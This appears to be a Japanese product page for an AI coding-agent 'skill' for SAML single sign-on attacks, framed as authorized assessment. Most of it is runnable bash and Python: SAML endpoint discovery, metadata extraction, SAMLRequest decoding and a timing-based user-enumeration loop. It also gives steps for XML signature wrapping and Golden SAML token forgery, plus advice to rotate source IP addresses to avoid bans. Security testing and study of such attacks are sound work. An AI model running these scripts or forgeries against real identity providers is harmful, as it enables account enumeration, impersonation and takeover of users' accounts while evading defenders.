saml-sso-attack について
認可済みの SAML SSO セキュリティ評価向けスキルです。メタデータやリクエストの分析、一般的な SAML の弱点の確認、タイミングベースのユーザー列挙と検証手順を扱います。
主な機能
- 01IdP メタデータの抽出と分析
- 02SAMLRequest のデコード
- 03XML Signature Wrapping のテスト
- 04署名削除とリプレイの確認
- 05タイミングベースのユーザー列挙
活用シーン
- 01IdP エンドポイントと署名メタデータの把握
- 02SAML レスポンス検証のテスト
- 03SSO のユーザー列挙リスク評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill saml-sso-attackインストール後、Claude Code で/saml-sso-attackを入力して読み込まれたか確認します。
詳細
SAML SSO 攻撃スキル
SAML シングルサインオン攻撃の手法 — IdP メタデータの分析、XML Signature Wrapping(XSW)、署名の削除、NameID へのコメントインジェクション、SSO の応答時間に基づくユーザー列挙です。TARGET_ORG_A(SimpleSAMLphp IdP、WordPress SP 上で 79 個の XMLRPC メソッド)、TARGET_ORG_B(Ory Kratos + OIDC)、TARGET_ORG_C(ADFS WS-Trust が公開状態)で確認済みです。
使用するタイミング
- ターゲットが SSO を使用している(
idp.、sso.、login.、auth.サブドメインにリダイレクトされる)。 - URL に
SAMLRequest=またはSAMLResponse=パラメーターが含まれている。 /saml2/idp/metadata.phpまたは/FederationMetadata/2007-06/FederationMetadata.xmlでメタデータエンドポイントにアクセスできる。exchange-owa-attackで ADFS が検出された後。
前提条件
- curl、python3。
- ターゲットの SAML エンドポイント URL(偵察またはメタデータから取得)。
- 対話的なテスト用の SAML Raider Burp 拡張機能(任意)。
実行方法
# Discover SAML IdP metadata
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/saml2/idp/metadata.php" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
content = sys.stdin.read()
if 'EntityDescriptor' in content:
root = ET.fromstring(content)
for el in root.iter():
if 'entityID' in el.attrib:
print(f'entityID: {el.attrib[\"entityID\"]}')
"
# Decode SAMLRequest from URL
echo "SAMLREQUEST_BASE64" | python3 -c "
import sys, base64, zlib
raw = base64.b64decode(sys.stdin.read().strip())
decompressed = zlib.decompress(raw, -15)
print(decompressed.decode())
"
クイックリファレンス
| 攻撃 | 前提条件 | 影響 |
|---|---|---|
| XML Signature Wrapping(XSW) | 任意のユーザーから取得した有効な署名付きアサーション | 任意のユーザーへのなりすまし |
| 署名の削除 | サーバーが署名の有無を検証しない | 完全な ID 偽造 |
| NameID へのコメントインジェクション | NameID 形式がコメントを許可する | ユーザーへのなりすまし |
| SAML Response のリプレイ | InResponseTo の検証がない | セッションハイジャック |
| キーの混同 | メタデータに複数の署名証明書がある | 別のキーでアサーションに署名 |
| Audience 制限の回避 | Audience の検証がない | SP 間でのトークンの再利用 |
| メタデータの抽出 | 公開されている IdP メタデータ | 証明書、エンドポイント、バインディングの特定 |
| Golden SAML(侵害後) | 盗まれた ADFS トークン署名証明書 | トークンを偽造し、任意のユーザーになりすます |
手順
フェーズ 1 — SAML エンドポイントの検出
TARGET="$1"
echo "[*] SAML endpoint discovery on $TARGET"
# Common SAML paths
declare -A SAML_PATHS
SAML_PATHS["/saml2/idp/metadata.php"]="SimpleSAMLphp IdP"
SAML_PATHS["/saml2/sp/metadata.php"]="SimpleSAMLphp SP"
SAML_PATHS["/FederationMetadata/2007-06/FederationMetadata.xml"]="ADFS"
SAML_PATHS["/adfs/ls/IdpInitiatedSignOn.aspx"]="ADFS Login"
SAML_PATHS["/adfs/services/trust"]="ADFS WS-Trust"
SAML_PATHS["/auth/realms/master/protocol/saml"]="Keycloak SAML"
SAML_PATHS["/.well-known/openid-configuration"]="OIDC"
SAML_PATHS["/sso/saml"]="Generic SAML"
SAML_PATHS["/idp/shibboleth"]="Shibboleth"
SAML_PATHS["/simplesamlphp"]="SimpleSAMLphp root"
for path in "${!SAML_PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$path")
[[ "$code" == "200" || "$code" == "302" ]] && echo " [FOUND] $path — ${SAML_PATHS[$path]} (HTTP $code)"
sleep 1
done
フェーズ 2 — IdP メタデータの抽出
METADATA_URL="$1" # e.g., https://idp.target.com/saml2/idp/metadata.php
echo "[*] Extracting SAML metadata from $METADATA_URL"
METADATA=$(curl -sk --max-time 10 --connect-timeout 10 "$METADATA_URL" 2>/dev/null)
if [[ -z "$METADATA" ]]; then
echo "[-] No metadata accessible"
exit 1
fi
# Parse with Python
echo "$METADATA" | python3 -c "
import sys
from xml.etree import ElementTree as ET
content = sys.stdin.read()
root = ET.fromstring(content)
# Namespaces
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
'ds': 'http://www.w3.org/2000/09/xmldsig#'}
# Entity ID
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')
# Signing certificates
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
cert = cert_el.text.strip()
print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')
# SSO endpoints
for el in root.iter():
if 'Binding' in el.attrib:
binding = el.attrib['Binding']
location = el.attrib.get('Location', '')
if 'HTTP-Redirect' in binding or 'HTTP-POST' in binding:
print(f'Endpoint: {location} [{binding.split(\":\")[-1]}]')
# NameID formats
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
print(f'NameID Format: {el.text}')
" 2>/dev/null
フェーズ 3 — SAMLRequest のデコードと分析
SAML_B64="$1" # from URL parameter or Burp
echo "[*] Decoding SAMLRequest"
echo "$SAML_B64" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
raw = sys.stdin.read().strip()
decoded = base64.b64decode(raw)
try:
decompressed = zlib.decompress(decoded, -15)
except:
decompressed = decoded
xml = decompressed.decode('utf-8', errors='replace')
print(xml[:3000])
root = ET.fromstring(xml)
print()
print('=== Analysis ===')
# Request ID
req_id = root.get('ID', 'none')
print(f'Request ID: {req_id}')
# Issuer
issuer_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer')
if issuer_el is not None:
print(f'Issuer: {issuer_el.text}')
# ForceAuthn
force = root.get('ForceAuthn', 'false')
print(f'ForceAuthn: {force}')
# NameIDPolicy
policy_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:protocol}NameIDPolicy')
if policy_el is not None:
allow_create = policy_el.get('AllowCreate', 'false')
fmt = policy_el.get('Format', 'unspecified')
print(f'NameIDPolicy: AllowCreate={allow_create}, Format={fmt}')
" 2>/dev/null
フェーズ 4 — SSO の応答時間に基づくユーザー列挙
TARGET="$1" # SSO login endpoint
USERS_FILE="$2" # List of usernames/emails to test
echo "[*] SSO timing-based user enumeration"
# The technique: valid users produce a different response time than invalid users
# because the server checks LDAP/AD before returning the SAML response
while read -r user; do
START=$(date +%s%N)
curl -sk -o /dev/null --max-time 15 --connect-timeout 10 \
"https://$TARGET/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo " $user: ${ELAPSED}ms"
sleep 1
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20
echo "[*] Users with significantly higher response times likely exist"
フェーズ 5 — XML Signature Wrapping(XSW)のテスト
TARGET="$1"
echo "[*] XSW vulnerability analysis"
# Check if IdP signs only the Assertion (good) or the entire Response (better)
# If only the Assertion is signed, XSW is possible:
# 1. Capture a valid SAML Response with signed Assertion
# 2. Create a new Response containing the original signed Assertion + a forged Assertion
# 3. If the SP validates the forged Assertion instead of the signed one → impersonation
echo "[*] Manual XSW test steps:"
echo " 1. Capture SAML Response from browser (Burp/DevTools)"
echo " 2. Decode SAMLResponse (base64 + inflate)"
echo " 3. Check: is Signature on Response or Assertion level?"
echo " 4. If Assertion-level: wrap original Assertion + forged Assertion in new Response"
echo " 5. Submit forged SAMLResponse to SP ACS endpoint"
echo " 6. If SP accepts → XSW confirmed"
注意点
- XSW は複雑です。 XML の名前空間、正規化、SAML レスポンス構造を理解する必要があります。
- SAML メッセージは大きくなります。 URL 内の SAMLResponse は 4000 文字を超える場合があります。レスポンスには POST バインディングがよく使用されます。
- SP が InResponseTo を検証する場合があります。 検証する場合、リプレイ攻撃は失敗します。同じ SAMLResponse を 2 回送信して確認してください。
- 署名の削除が有効なのは、脆弱な SP のみです。 最新の SP のほとんどは、署名されていないアサーションを拒否します。
- レート制限に注意してください。 SSO の応答時間に基づく列挙やエンドポイントの検出は、アカウントロックや IP アドレスの禁止を引き起こす可能性があります。リクエストの間には必ず
sleep(1 秒以上)を入れ、本番環境でのエンゲージメントでは複数の送信元 IP アドレスを使い分けてください。
検証
- メタデータから、最低限、エンティティ ID、署名証明書、SSO エンドポイント、NameID 形式を確認できる必要があります。
- SAMLRequest をデコードすると、Issuer、ID、NameIDPolicy 要素を含む有効な XML になる必要があります。
- SSO の応答時間に基づく列挙では、有効なユーザーと無効なユーザーの間に統計的に有意な差(200ms 超)が確認できる必要があります。
- XSW:偽造した SAMLResponse が SP に受け入れられ、有効なセッションが作成される必要があります。
- すべての SAML エンドポイントを記録する必要があります:IdP メタデータ URL、SP ACS URL、バインディングの種類、証明書の詳細。
最新の SAML CVE と手法
| CVE | 影響を受ける対象 | 影響 | 年 |
|---|---|---|---|
| CVE-2025-25291 | ruby-saml ≤ 1.17.0 | XSW/署名の混同による認証回避 | 2025 |
| CVE-2025-25292 | ruby-saml ≤ 1.17.0 | パーサー差異による認証回避 | 2025 |
| CVE-2024-45428 | GitLab(ruby-saml) | SAML 認証回避 — アカウントの完全な乗っ取り | 2024 |
| CVE-2024-45409 | ruby-saml ≤ 1.16.0 | Signature Wrapping(XSW)による認証回避 | 2024 |
| CVE-2023-2813 | GitLab CE/EE | SAML グループクレームの検証不備 | 2023 |
Golden SAML 攻撃(侵入後)
ADFS サーバーへのアクセスを取得するか、トークン署名証明書を抽出した後:
- ADFS のトークン署名証明書(.pfx または秘密鍵)を抽出します。
- AADInternals などのツール、またはカスタムの Python スクリプトを使用して、SAML トークンを偽造します。
- パスワードや MFA を必要とせず、あらゆるユーザー(クラウド専用の ID を含む)になりすまします。
- Azure AD/Entra ID のフェデレーションドメインに関連します。偽造されたトークンは無期限に信頼されます。
SAML ツール
- SAML Raider(Burp 拡張機能) — エンコード/デコード、XSW、証明書操作
- SAMLReQuest(Burp 拡張機能) — 軽量な SAML リクエストエディター
- saml2aws — SAML 経由の AWS SSO 用 CLI
- AADInternals — Azure AD/Entra ID 用 PowerShell ツールキット(Golden SAML)
- ESPOOR — SAML メッセージ操作ツール
コメント
Markdown 対応